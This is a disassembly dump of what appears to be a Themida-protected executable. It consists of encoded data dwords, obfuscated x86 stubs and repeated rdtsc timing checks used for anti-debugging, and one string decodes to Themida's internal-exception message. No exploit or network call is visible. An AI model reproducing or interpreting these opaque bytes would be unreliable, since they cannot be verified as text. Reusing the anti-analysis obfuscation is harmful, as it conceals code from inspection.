0BA453E50h, 1113A607h, 0E7184400h dd 0B1D87776h, 0BE73A13h, 0C56098F1h, 5314B3h, 4D3D0000h dd 7E1C6C42h, 967486A4h, 41D5C234h, 1D1EE562h, 53BC1442h dd 7A2394F3h, 0B1A96F68h, 0CA6813A6h, 7049D5EDh, 6B7D1850h dd 35D3238Ch, 6F0A4256h, 11EA975Dh, 8213A6BDh, 835189A9h dd 9F568EA6h, 7CD49CC8h, 7C833B6Bh, 59D877F4h, 1Bh, 0A0857782h dd 88071442h, 0A759D626h, 2D13A680h, 80AB50CDh, 0BE2713A6h dd 4D00D165h, 9F1C6C42h, 13A680C9h, 0D2A92688h, 4513A680h dd 7E195167h, 0D3B2C42Dh, 2A0326Ah, 4FD0F23h, 13A6807Bh dd 0D787BFD0h, 0D877FD28h, 18ADh, 8477D600h, 61442A0h dd 58D52589h, 13A680A6h, 97B58F2Dh, 0A93DA685h, 6C424DD8h dd 25079F1Ch, 0ED4D13A5h, 0A5268B70h, 85DE4713h, 0A2BA9735h dd 0FC1BF80Eh, 62ABA39h, 0C9015A5Ah, 0C1119DF2h, 0F22A4A23h dd 0A9F7150h, 2A83EA6Fh, 9ABD3A18h, 0E81442CDh, 0B4912F7Fh dd 0CE5328A5h, 96FF1B8Dh, 0B693A93Dh, 72D4669Eh, 0CEEC9310h dd 16A1B8Dh, 8DCEE196h, 0F2046D1Bh, 9EEEC0CFh, 0A7C39E3Ch dd 9B60DD6Fh, 371B8DCEh, 6A6375CEh, 1C69D94Ch, 473CB91Bh dd 1303F126h, 29411EAAh, 654456F1h, 45EAA8FCh, 73B35A4Ah dd 92EDh, 1A3C1400h, 77977086h, 0D7F1CDE3h, 3A4E2D43h dd 99B590A6h, 8DC62C05h, 0EC0296B2h, 4A60F412h, 0ACC2566Ch dd 7023B7CFh, 4BC43C0h, 0D51A13A5h, 75424D46h, 1A851B03h dd 0A914A1E0h, 1442BAD2h, 6EBE1780h, 0A53F5AF1h, 77AF1813h dd 20B4CCA9h, 0DD152D0Ah, 0CFAF6F30h, 0F6945210h, 54F10317h dd 0EDCB6910h, 0CEABC5D7h, 2F0C22B6h, 0DB4DDF17h, 84D20623h dd 0FC162811h, 1AD1091Dh, 3F1C0343h, 0A07D9327h, 8CA5088h dd 59000000h, 0BA97358Dh, 56BB90A2h, 56245C7Eh, 5B296179h dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah dd 74427A94h, 0EE437B9Bh, 5E1F68h, 24348900h, 3C6768h dd 240C8900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch dd 7468243Ch, 8B07E787h, 0C481240Ch, 4, 243C8B54h, 4C481h dd 0AD680000h, 89000073h, 481240Ch, 758CC24h, 8478F20h dd 0CC086F81h, 0FF200758h, 835F2434h, 0C8B04C4h, 0E3895324h dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FCD80EE9h, 524D4AFFh dd 75B830EEh, 307E7A5h, 0CCE0FFC5h, 0CD7C7403h, 0E535CDD0h dd 950FC465h, 1E641D5Dh, 22601CC6h, 9348B1F1h, 57694CCh dd 0B53E9217h, 6B48609Dh, 965C6853h, 0F935850Ch, 0F00E4DC2h dd 803F1074h, 0E5489E89h, 2A3C345Ch, 53AABE2h, 0E625DD72h dd 6C123ECEh, 0E81D3847h, 12h, 19B1ED0Ch, 0F385CE32h, 98FD8CFBh dd 0BB918B52h, 8B666B7Dh, 81665AF8h, 812D74CBh, 692DC2h dd 5810F00h, 60000000h, 616160F5h, 1A1E68h, 4880F00h, 66000000h dd 59A1F7BFh, 57028BF9h, 10E8h, 0A5BDA200h, 4D0B257Dh dd 60D6D809h, 0D6403CDFh, 0FE918h, 7FED0000h, 279D4BC6h dd 339AE408h, 5E71F3DBh, 815F5B5Dh, 2BCF46C0h, 0BE93Bh dd 796B0000h, 0F293E102h, 52260626h, 0E7C08139h, 66513CACh dd 0C081FB8Bh, 48CF6FE1h, 987524BEh, 850F503Bh, 2, 28F90B3h dd 0F03EA83h, 0F4AF9BFh, 0E983F1B7h, 8A850F01h, 0FFFFFFFh db 81h byte_5BCB8D db 3 dup(0) ; DATA XREF: Themida_:00585484o dd 17E900h, 4E390000h, 7787h, 4 dup(0) dd 51DE900h, 0A57D0000h, 0D9EF83h, 5A364CE0h, 0B796AC40h dd 1EF90FA3h, 6F956E02h, 6BFF1BF6h, 0C95D7B55h, 2BBFD5B3h dd 8C203815h, 0D7AC29D9h, 8313A507h, 7956AF3Eh, 805B2961h dd 98761464h, 9DAF4A82h, 7988657Bh, 42A007FCh, 0A6AD314h dd 6A119504h, 0FB338C07h, 0D4F0CB69h, 0D0F4FA9Ch, 0ECAE2AE1h dd 8A678193h, 0AA83A72h, 0E802142Eh, 53B7EF0Fh, 79EBAED6h dd 0F7D36A14h, 0AA0AA5DDh, 96A8BD54h, 0F3879F7Ch, 55E9FFDDh dd 134B613Fh, 154D6B45h, 60DF875Eh, 0C2D86C82h, 0A5BD9AE5h dd 9567144Ch, 8A14425Bh, 1AE599CDh, 0BBE05B16h, 8Eh, 18F492E4h dd 0F5D2ECFEh, 12EF8DDDh, 7522E8FAh, 1442A088h, 0F1A8DC99h dd 0A06D128Fh, 1DA1442h, 736DAEBAh, 0AF0F78C9h, 4F7B3E24h dd 583345D9h, 0E05BEFA7h, 130h, 0F4925900h, 2EC90115h dd 929021Ch, 0A2A03D1h, 0C3A240D2h, 8CDC77AFh, 42A0680Fh dd 6B7DE614h, 265E7251h, 2A627C58h, 30687E5Ch, 5B174FCCh dd 0D188BC39h, 0EB900D6Fh, 671442A0h, 0A0EC93FEh, 0CE6A1442h dd 6A7CD5F5h, 7577750h, 61738D69h, 344C293Fh, 7B56CFA0h dd 8059275Fh, 0E0EA2860h, 0EA04E07Eh, 0D7AC17B2h, 831442A0h dd 3B6B081Ah, 0EA08E280h, 0EB0517B2h, 6A4F410h, 3BD60E2Ch dd 14F10729h, 833AACFCh, 7EEBF0A7h, 49633FCBh, 9E647611h dd 0A2DAF4D0h, 0F4FF708h, 0E05BD320h, 8BD5h, 1693F500h dd 14429761h, 9D7284EDh, 0B2587B56h, 50DD5BECh, 3A581F9Ch dd 8DF61442h, 0D5A3DB34h, 43A7DFF9h, 79DB9EC6h, 423A07FCh dd 0A2BC9814h, 157ECF6Ah, 0F20EE903h, 4A6D485Eh, 0E8C44263h dd 0EEB26ECEh, 3AC13E8Eh, 981442ECh, 0D09ED62Fh, 0D7A5DDF1h dd 0DBA9E1FBh, 0F3AAE202h, 0B431681Ch, 1442ECCFh, 71C9228Bh dd 0D7752460h, 11ACE4F8h, 0C40B24FFh, 280CE05Bh, 35000000h dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 4617ABC7h, 255D7D56h dd 42A08678h, 0A6DE9B14h, 5C1109F6h, 1CEE0h, 56F70000h dd 5A28607Ah, 762D657Dh, 9C78E79Fh, 0C0CFEE82h, 0EB219EEEh dd 0A913A691h, 5D3A0840h, 0BE9BB145h, 3CC16EA6h, 4813A692h dd 0C19E81C5h, 22FF15A9h, 2704D20Ah, 8F99D70Fh, 92CBB02Dh dd 0EB8713A6h, 23BEF60Eh, 6B1BB8CAh, 9DB59230h, 9EB8CA65h dd 3B15A9C1h, 95A7C19Dh, 77DF45BAh, 0EC92D8h, 14B20000h dd 48E31B3Bh, 8FC7DFBCh, 4D0DE2F4h, 9F1C6C42h, 13A6BEFDh dd 24F22A93h, 0C19B2F47h, 1C2E4623h, 0D50D2502h, 6DF2A07h dd 17558DE6h, 4A27164Eh, 0D40C20FFh, 754CE039h, 0D877F28Ah dd 5C4Bh, 444D7400h, 69D1A6Ah, 546BBD5Fh, 8DC5D9B8h, 5E25A2F2h dd 0FC9442A0h, 55023A93h, 9442A0AEh, 898DB980h, 0F456A608h dd 0A06E1592h, 83EC9442h, 0A0C1B633h, 248D9442h, 5F821912h dd 34D0EBBDh, 68033B5Bh, 5FAD7B0Fh, 33000000h, 0B6BA3BC1h dd 0B505A899h, 42304338h, 94A60F14h, 39424DBFh, 6D084060h dd 9D47C414h, 4313A6B9h, 0F7D4A2DAh, 0A582D1ACh, 61BA558Dh dd 815E7408h, 4843169h, 813A6B9h, 815EC185h, 0D9B6D569h dd 7C0885D5h, 0E614411Dh, 9A77457Dh, 0BC934A82h, 0AB038C88h dd 0C616DE5Bh, 53BC1C6Eh, 0F492EEBFh, 0C8EBFD19h, 1A97E7C7h dd 13A5076Ah, 89578FF8h, 0EA0094ACh, 2BBDF50Dh, 0B0CA0B9h dd 899BB085h, 0C5954790h, 0DE7C3A63h, 39D6E802h, 2635120Dh dd 0A1AD2A9h, 0BE17806Ch, 6316FC6Eh, 359E2707h, 0EEB0123h dd 70D0E4C3h, 8C9544BCh, 0D5DB6ECh, 4078946Fh, 704A31AEh dd 9F086C0Ah, 0DC6E3446h, 7006FD7Ah, 64D46C0Ah, 82080E47h dd 0E939923Eh, 0AAB976Ch, 0C8DA436Ch, 83BBCFAEh, 4ECBD6B5h dd 6C0AABA9h, 2B63BC25h, 2F67815Dh, 347C28F1h, 0C1BCE8BFh dd 2238CCE4h, 6FF52D45h, 15h, 0D3358DFEh, 42A0A156h, 50CD2D14h dd 1442A0ABh, 5365BE27h, 5C7E567Eh, 61795624h, 677D5B29h dd 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh dd 7B9B7442h, 8953EE43h, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 240C895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 53240C89h dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h, 68575224h dd 15EE76CFh, 3BF7815Fh, 811FB535h, 6201BFC7h, 9CEF8173h dd 89299207h, 0CA815FFAh, 225210Bh, 2F38C281h, 0D2F72709h dd 80F2814Ah, 89852036h, 0EC815AD1h, 4, 81242489h, 42404h dd 515B0000h, 0DD243481h, 8F53313Dh, 0B9510843h, 8, 3181D901h dd 53313DDDh, 241C8B59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_58A287 ; --------------------------------------------------------------------------- db 7Dh dd 0B83A33CBh, 7E7AB7Fh, 0E0FFC503h, 48EC844Dh, 2454D0D0h dd 354C50F9h, 36C55EDAh, 7D64ACDh, 3A379313h, 5FFDA48h dd 62238A9Bh, 56DC042Eh, 9EFD2D1h, 8A06569h, 4D2365B1h dd 359271DDh, 4418E3Eh, 60A51625h, 3235068Eh, 3254FDDEh dd 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 1286E900h, 0BD890000h, 7E40025h, 15F99531h, 858B07E4h dd 7E40DE1h, 919531F5h, 3907E41Dh, 0F042444h, 0B785h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8A0FC47Fh, 0Dh, 43CA8160h, 0BB5F862Ch, 7779C680h, 0FDBD8361h dd 7E42Bh, 7A840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0FF840C3h, 787h, 0EE806000h dd 6161604Ah, 3BDC858Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 93F877C3h, 5655451Bh dd 358D9D89h, 11E907E4h, 0C000000h, 8E38EF12h, 24CBB0BBh dd 32428B75h, 950A4189h, 61CB8A60h, 0BD89E0FFh, 7E42DF1h dd 1DE1858Bh, 39F507E4h, 0F042444h, 3B85h, 11E900h, 0C8C00000h dd 882C8571h, 92A19A02h, 6EA97D41h, 0C7CE424Fh, 0E7B09285h dd 107h, 15840F00h, 0E9000000h, 10h, 292BF56Dh, 7C439CA3h dd 0B6E2EDAFh, 0E0B7B45Eh, 50006A60h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 68C0F62h, 89000000h dd 0E4041995h, 27E907h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 9E008C3h, 0E4035195h dd 7, 1B800h, 85870000h, 7E7B212h, 0F675C00Bh, 2C2DB5FFh dd 858F07E4h, 7E7B08Ah, 0FF6A206Ah, 160195FFh, 0BD8307E4h dd 7E40369h, 6A087400h, 4195FF00h, 8307E40Eh, 0E4038DBDh dd 0D740107h, 8068h, 0FFFF6A00h, 0E4160195h, 6AF507h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 5C15AAC3h, 32D4162Ah, 8A6004BBh, 2EDB81DAh, 616A34E8h dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 683A4436h, 0B5310864h, 7E431D1h dd 2824548Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 9C35343h, 0DED75744h, 897257B9h, 0E412D185h, 0EE86007h dd 31000000h, 0B7629DBCh, 4DB230CEh, 0D362A14Ah, 0D995017Dh dd 5F07E420h, 6818D29h, 896107E4h, 0E40EE995h, 3CBE07h dd 85890000h, 7E423A9h, 25BD8D89h, 740307E4h, 89602424h dd 0E42C0DBDh, 8D895107h, 7E42AEDh, 840F6159h, 6, 314D8529h dd 0AD6607E4h, 1D759501h, 440307E4h, 6A2424h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2DBDDAC3h dd 0AF79EEh, 0F5B9301Bh, 3269BD89h, 0E99007E4h, 10h, 94847FBBh dd 31233A21h, 9498CF06h, 6CD88F55h, 0F525050h, 28Dh, 0F616000h dd 96B06031h, 5A616160h, 8D319058h, 7E42A69h, 0F78408Bh dd 78Ah, 1820F00h, 0FC000000h, 0B092BD83h, 0F0007E7h, 15C85h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 56860889h, 8E9A607h, 72000000h, 4B396DE7h dd 90887CCEh, 8B0F5250h, 6, 310F5250h, 310F585Ah, 10E9h dd 8F1C9000h, 9682F6B9h, 48252802h, 2E69E46Dh, 50585AF7h dd 0D3B56060h, 61615F50h, 0B8F0F90h, 60000000h, 820Fh dd 0E8800000h, 448B616Ch, 6A2C24h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0C0A5CEC3h, 9E6DCA2Bh dd 525090FCh, 11E9h, 58C4300h, 0EC4E88E8h, 0BC0D1FBDh dd 4169AD9h, 310FBC83h, 5E9h, 539BFB00h, 585A6837h, 22820F50h dd 50000000h, 0BE952h, 0C62E0000h, 6483EC34h, 3D22D845h dd 0E9310F13h, 7, 0E6E05ECAh, 5AAAD1D1h, 6A9058h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8B60A6C3h, 0E419D985h, 19D8907h, 6107E426h, 7ED8858Dh dd 0FFFC07E7h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 92A377C5h, 8CAACDFBh dd 820F2BC2h, 1, 0BD8960FCh, 7E43269h, 0DC5BD29h, 296107E4h dd 0E42C3185h, 24440307h, 55006A28h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 2AC19683h dd 408BFC59h, 51006A18h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0EB3DEA7Fh, 40F9E8ECh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 30C35141h, 85896810h dd 7E7B08Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0A7C35646h, 0D26B51A2h, 880F763Ah, 1, 12E958F5h dd 8F000000h, 7BDF75C0h, 0C428DB2Ah, 3B4E1176h, 0D6E2CD43h dd 8501600Ah, 7E41641h, 14E9h, 949A2700h, 96CB4AEFh, 0F54A1919h dd 0D91B47A2h, 0EAC77D3Fh, 708B6115h, 5958978h, 8307E415h dd 8E91CC6h, 8D000000h, 4B4B64B9h, 9631CDE0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 89C35646h, 60C3B3F4h dd 0AE1BD8Bh, 0D78107E4h, 5DF52842h, 51858961h, 0E907E42Ch dd 14h, 0B177B368h, 0CE62AA03h, 9174EF5h, 0A39BEB62h, 0DFB23A56h dd 24247C81h, 10000000h, 10B870Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 894780C3h dd 86D8590Ch, 2AAD8D89h, 0F5007E4h, 1981h, 14E900h, 7D580000h dd 2055173Ah, 0D120993Dh, 0B6C9390Bh, 4B4A6FEBh, 489F441h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 24448BFFh, 52006A28h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 4F1F2FB5h dd 0F89B82EDh, 90FCDC77h, 800F5250h, 6, 310F5250h, 310F585Ah dd 0BE9h, 8BB24E00h, 0A4349E31h, 0F0FA9E3Fh, 0F50585Ah dd 0A8Eh, 52506000h, 585A310Fh, 90615F50h, 0D8858DF5h dd 6A07E77Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 5229C351h, 7C84A7B2h, 8D8B601Eh dd 7E41AD1h, 25859D89h, 896107E4h, 0E4233D9Dh, 29D0FF07h dd 0E42EBD95h, 6A9607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 102FA0C3h, 0FCD85BD1h, 3321B589h dd 740307E4h, 95892424h, 7E41E6Dh, 90DBD8Dh, 6A07E4h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0CA99A7C3h, 0B261F503h, 89123514h, 0E41421B5h, 6AAD07h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 475B96C3h, 9E56DFFAh, 10E973h, 0BB020000h, 4D45C334h dd 0A0D01E93h, 705426B0h, 7C816723h, 2424h, 870F1000h dd 162h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0E5C35040h, 9E9DC027h, 0BA4ABC48h, 9E96Ch, 753D0000h dd 355184AAh, 6017834Dh, 16758589h, 0BDBE07E4h, 61699F8Ch dd 10E950h, 0D2560000h, 0FC5F3EB7h, 6B0B5B9Ah, 0B15B981Ch dd 48913BFh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h dd 95B6CD6h, 0E417C585h, 24448B07h, 0BE86028h, 0F5000000h dd 1399396h, 269065B1h, 0F18B0C34h, 0CF8B6659h, 870F9061h dd 13h, 61605250h, 6E9310Fh, 73000000h, 8B0874D1h, 50585AF7h dd 12860Fh, 52500000h, 310F5250h, 310F585Ah, 310F5250h dd 585A585Ah, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 60ED5502h, 1499094Ch, 8D09156Ah dd 7E4164Dh, 7ED8858Dh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8D29C1C3h, 7E42DCDh dd 6E9h, 5A887400h, 0FF2B6887h, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 78F75D43h dd 0D1CC3621h, 958B5760h, 7E419A9h, 6147B75Fh, 22D19501h dd 440307E4h, 0ABFC2424h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 50C35040h, 54B5844Eh, 60CBBF19h, 92C08166h dd 0FC6061FCh, 24DB8166h, 0FA8161C6h, 10000h, 786820Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0D957A6C3h, 0F8D2B973h, 148C0Fh, 0FE90000h dd 1C000000h, 0FA85CFA9h, 69BC3D95h, 0AEAD4BB6h, 0BD8D79E2h dd 7E4220Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0B3C35141h, 0ADBE632Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0D3C35343h, 1289C5FDh, 0FE9304Ah dd 6000000h, 6ECF2C72h, 69BAC995h, 30A3DD54h, 0DE93531h dd 0DC000000h, 0FEAFB719h, 1664BE4Dh, 3971145Eh, 24247C81h dd 10000000h, 0C1870Fh, 95890000h, 7E41FD1h, 60525090h dd 9E8h, 60853D00h, 0F65A21B4h, 505FC3EDh, 5A310F52h, 310F6158h dd 0EE9h, 0D7ECE800h, 49445B9Dh, 0BF5FF71Ah, 5A123CF1h dd 0BE95058h, 96000000h, 428995AEh, 0A9EE5DB8h, 99011F9h dd 0E42D61B5h, 24448B07h, 0EE928h, 21FA0000h, 0DD678920h dd 0F39615C4h, 0F4B658C2h, 0DE990h, 0F0830000h, 0EED8B1AAh dd 0EAE3A87Eh, 50A3CA39h, 88B0Fh, 810F0000h, 2, 6A906160h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 129CC351h, 43CC081Fh, 858DF52Ch, 7E77ED8h dd 224D8589h, 0D0FF07E4h, 85B501FCh, 307E427h, 6A242444h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 6543C353h, 2DBBE1DAh, 14FDF02Ch, 29ED9529h dd 0DE907E4h, 13000000h, 195FC125h, 0CE2C63A0h, 46F3DADFh dd 8B606090h, 61FA8BF2h, 61F28B66h, 0F525050h, 28Ah, 0F616000h dd 0E9525031h, 5, 0DAFF7A54h, 0E9310F13h, 12h, 1A5163F3h dd 5BF9836Fh, 9CB0320h, 2C8C9C9Eh, 585ACB61h, 6A90585Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 1119C353h, 6F3041EFh, 0A9958979h, 0E907E406h dd 10h, 15966F67h, 30BD330h, 3165C884h, 5D34FDD0h, 68D0Fh dd 95890000h, 7E40161h, 56006AABh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0AF6B2CAEh, 0A6C9C9A2h dd 8DF911D1h, 0E41AF9BDh, 158D8907h, 0AD07E425h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F4C35747h, 247C81F9h dd 28h, 10870F10h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0CAC9C355h, 0A2727453h dd 459D8B60h, 2907E42Dh, 0E41F4995h, 50F86107h, 8E960h dd 22740000h, 4F479681h, 7E8F7A5h, 31000000h, 0F284DDA7h dd 61606EC1h, 4896159h, 12870F24h, 0E9000000h, 0Dh, 0B8D3CFC7h dd 0FE3A0AE4h, 55D1912h, 24448B1Fh, 0E8C0F2Ch, 60000000h dd 850Fh, 9D890000h, 7E4089Dh, 66605061h, 7DB9CF8Bh, 614FEB66h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 8E32C355h, 0A217C12Dh, 8E9h, 0F932D200h dd 80A2C494h, 0D8858DA7h, 6007E77Eh, 820FB1B5h, 6, 0A99D8Bh dd 0FF6107E4h, 51006AD0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 6EDA5061h, 14E99A3Ah dd 0E4000000h, 9705A73h, 56195DC5h, 0C361B420h, 0CFFDEDA0h dd 33C0489h, 0F9282444h, 51006AABh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 952939DAh, 7E4022Dh, 8E8DFF5Eh dd 8307E7B0h, 0E7B08EBDh, 0A750007h, 0B58DC033h, 7E7C0F4h dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h, 502C2444h dd 7ED8858Dh, 0D0FF07E7h, 28244403h, 8ADF8B97h, 0E7B08A85h dd 74C08407h, 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah dd 66EBD166h, 973D8D1h, 50413566h, 49F38166h, 75CEFE54h dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h dd 74D03B5Ah, 0C6835E0Fh, 0D185FF04h, 0E907E412h, 0FFFFFF5Dh dd 51006A5Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 9864F812h, 7E9F9h, 6F990000h, 0D4C9D748h dd 0D1858B4Fh, 6A07E412h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 2D49C355h, 820F42C2h dd 15h, 10E9h, 2A4E9E00h, 0B7659E30h, 5089632Bh, 7ACA0672h dd 6880F95h, 89000000h, 0E42DA995h, 89E0D107h, 0E41B31BDh dd 0F9850307h, 0E907E41Ah, 0Dh, 9C6EA445h, 0F9D56F3Ch dd 56974E75h, 0E9F62BA6h, 0Ch, 8368AF91h, 0C321AF00h, 0C4EB95E0h dd 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0B5485D5Ah, 80893330h, 8D2B6044h, 7E41EE9h dd 0F9EE8166h, 860F61D3h, 1, 0E9AD66F8h, 8, 0D68EADABh dd 80CDC98Eh, 6A02E0C1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 7DEEC350h, 0E852CFE0h dd 90D8503h, 896007E4h, 0E40D359Dh, 18BA6607h, 6A9661D8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 1DC1C350h, 0A940D5C4h, 0BF605E4Bh, 6700FF39h dd 61CBB70Fh, 57006AADh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 440C9EB9h, 7C8139A8h, 2424h, 870F1000h dd 0EDh, 18E1B501h, 0F9007E4h, 1B89h, 158C0F00h, 0E9000000h dd 10h, 26801BB0h, 4BD551A4h, 0A2421BFAh, 554B9EDEh, 0C8C0F50h dd 0F000000h, 684h, 0F525000h, 90585A31h, 0A9958B60h, 0E907E42Eh dd 13h, 1786FB1Dh, 4A8BFD11h, 2118A43Fh, 0DA220FD6h, 6153D1D8h dd 0AE9h, 0B48A300h, 55A4DAE6h, 8B98551Fh, 89282444h, 0E42C3185h dd 8A0F5007h, 0Ah, 61605250h, 6160310Fh, 489585Ah, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0AADF5E23h, 28593CA6h, 8D092D22h, 7E407D1h, 0A9B96660h dd 21EBBA1Ah, 8D610578h, 0E77ED885h dd 81666007h, 0E9F5ACEAh, 0Eh, 26E23D2Bh, 26E97AB6h, 3A57B103h dd 0FF61ABB9h, 6800FD0h, 1000000h, 0E41FDDB5h, 24440307h dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 14C158D3h, 0EE9h, 1CF5E400h, 0E7164FE2h dd 0E1E874F1h, 898CE879h, 11C2444h, 0E42209BDh, 2D85C607h dd 7E42Ch, 0B21285C7h, 7E7h, 85C70000h, 7E7B092h, 0 dd 11E9h, 277EA700h, 0B5FD8353h, 0F494A953h, 3B2ADB5Ch dd 61F972AFh, 68D0Fh, 95290000h, 7E420D5h, 6810Fh, 0B5310000h dd 7E42D89h, 0F80008C2h, 90D858Bh, 6A07E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 66602EC3h dd 0B95C6B9h, 0E413F9BDh, 6A4A6107h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0AC21C350h dd 0E9628077h, 12h, 306B5F43h, 18DAE269h, 0CAE9B687h, 0A2A5E073h dd 0D26BB557h, 0DE904h, 86DA0000h, 89DBD190h, 2A8AA758h dd 89E2C454h, 0E41E0585h, 6AC20307h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 3C355h dd 9974702Fh, 0F4B48549h, 6A96F9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0C40E09C3h, 60818A0Ch dd 8BF1BF0Fh, 0E414E9B5h, 0FAD6107h, 1284h, 0DE900h, 54B60000h dd 9C0A7E40h, 0DD20B538h, 60A71F97h, 1EE9B589h, 0B70F07E4h dd 7C8161C9h, 2424h, 870F1000h, 0C6h, 24418D89h, 0E95007E4h dd 10h, 32353495h, 0B15D2D52h, 0B24763E9h, 777E778Ah, 89240489h dd 0E42CF99Dh, 24448B07h, 55006A28h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F9D6F8C4h dd 880F6090h, 2, 5061A6B5h, 60CF8B60h, 310F5250h, 5250585Ah dd 585A310Fh, 0F906161h, 181h, 858DF800h, 7E77ED8h, 18B0Fh dd 0FFF80000h, 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 5683D64Dh, 0DD87855Ah dd 6E9A4h, 0ED000000h, 0ACF2F15Dh, 14E9FCh, 0D3E40000h dd 57077DFFh, 5E20280h, 0C26F336Eh, 0F156FFCh, 9EE9806Bh dd 0F8FFFFFDh, 0C6E1858Dh, 6A07E7h, 